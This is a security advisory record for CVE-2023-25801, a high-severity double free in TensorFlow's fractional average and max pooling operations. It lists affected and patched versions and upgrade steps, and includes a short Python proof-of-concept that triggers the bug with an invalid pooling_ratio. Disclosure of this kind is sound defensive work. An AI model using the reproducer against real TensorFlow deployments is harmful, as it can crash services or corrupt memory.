---
id: CVE-2023-25801
aliases:
  - GHSA-f49c-87jh-g47q
  - BIT-tensorflow-2023-25801
  - PYSEC-2026-985
title: TensorFlow has double free in Fractional(Max/Avg)Pool
summary: TensorFlow has double free in Fractional(Max/Avg)Pool
severity: high
cvss: 8
cvssVector: 'CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H'
vendor: tensorflow
product: tensorflow
ecosystem: pip
affected:
  - tensorflow < 2.11.1
  - tensorflow-cpu < 2.11.1
  - tensorflow-gpu < 2.11.1
patched:
  - tensorflow 2.11.1
  - tensorflow-cpu 2.11.1
  - tensorflow-gpu 2.11.1
published: '2023-03-24'
updated: '2026-07-07'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-f49c-87jh-g47q'
references:
  - url: >-
      https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f49c-87jh-g47q
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2023-25801'
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/ee50d1e00f81f62a4517453f721c634bbb478307
  - url: 'https://github.com/tensorflow/tensorflow'
tags:
  - osv
  - pip
epss: 0.0015
epssPercentile: 0.03543
ingestedAt: '2026-07-08T18:25:48.636Z'
---

## Overview

### Impact
`nn_ops.fractional_avg_pool_v2` and `nn_ops.fractional_max_pool_v2` require the first and fourth elements of their parameter `pooling_ratio` to be equal to 1.0, as pooling on batch and channel dimensions is not supported.

```python
import tensorflow as tf
import os
import numpy as np
from tensorflow.python.ops import nn_ops
try:
  arg_0_tensor = tf.random.uniform([3, 30, 50, 3], dtype=tf.float64)
  arg_0 = tf.identity(arg_0_tensor)
  arg_1_0 = 2
  arg_1_1 = 3
  arg_1_2 = 1
  arg_1_3 = 1
  arg_1 = [arg_1_0,arg_1_1,arg_1_2,arg_1_3,]
  arg_2 = True
  arg_3 = True
  seed = 341261001
  out = nn_ops.fractional_avg_pool_v2(arg_0,arg_1,arg_2,arg_3,seed=seed,)
except Exception as e:
  print("Error:"+str(e))
```

### Patches
We have patched the issue in GitHub commit [ee50d1e00f81f62a4517453f721c634bbb478307](https://github.com/tensorflow/tensorflow/commit/ee50d1e00f81f62a4517453f721c634bbb478307).

The fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.


### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability was reported by [dmc1778](https://github.com/dmc1778), of [nimashiri2012@gmail.com](mailto:nimashiri2012@gmail.com).


## Affected packages

- `tensorflow < 2.11.1`
- `tensorflow-cpu < 2.11.1`
- `tensorflow-gpu < 2.11.1`

## Remediation

Upgrade to a patched release:

- `tensorflow 2.11.1`
- `tensorflow-cpu 2.11.1`
- `tensorflow-gpu 2.11.1`
